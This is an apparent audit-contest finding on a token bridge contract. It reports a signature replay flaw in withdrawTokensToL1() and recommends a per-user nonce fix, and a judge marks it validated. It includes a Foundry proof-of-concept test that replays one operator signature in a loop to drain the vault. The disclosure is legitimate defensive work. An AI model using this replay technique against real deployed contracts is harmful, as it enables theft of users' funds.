Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Depositer can steal funds from a vault via replay attack.

Summary

When the user gets the r,s,v values off chain to call withdrawTokensToL1(),they will simply be able to replay this transaction draining the vault of all it's funds.

Vulnerability Details

WithdrawtoL1() specifies a ERC20 transfer to be executed by the Bridge contract, from the vault, to the recipient, which can be executed repeatedly until all funds are drained.

function testESCDAreplayExploit() public{
uint INITIAL_POOL_AMOUNT=20e18;
uint256 depositAmount = 10e18;
assertEq(token.balanceOf(address(vault)),INITIAL_POOL_AMOUNT);
vm.startPrank(user);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount+INITIAL_POOL_AMOUNT);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
//User only started with 10 tokens, withdraw's their 10 and drains the vault of the rest(20)
for(uint i = 0;i<3;i++){
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
}
// //finally all funds are drained
assertEq(token.balanceOf(address(vault)),0);
}

Impact

High impact, will result in the Vault being completely drained of all funds.

Tools Used

Manual Review, foundry testing

Recommendations

It is recommended to use a Nonce mapping per user to allow for a transaction signature to be used only once.
When signing the message off-chain, include the nonce as part of the data to be hashed and signed.
the smart contract will have a mapping mapping(address => uint256) public lastNonce; , and in withdrawToL1 the user will be able to decode a nonce associated with this offchain signature.

function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message, uint256 nonce) public nonReentrant whenNotPaused {
require(nonce == lastNonce[signer] + 1, "Invalid nonce");
lastNonce[signer] = nonce;
.........

This will ensure the same signature can not be used more than once.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.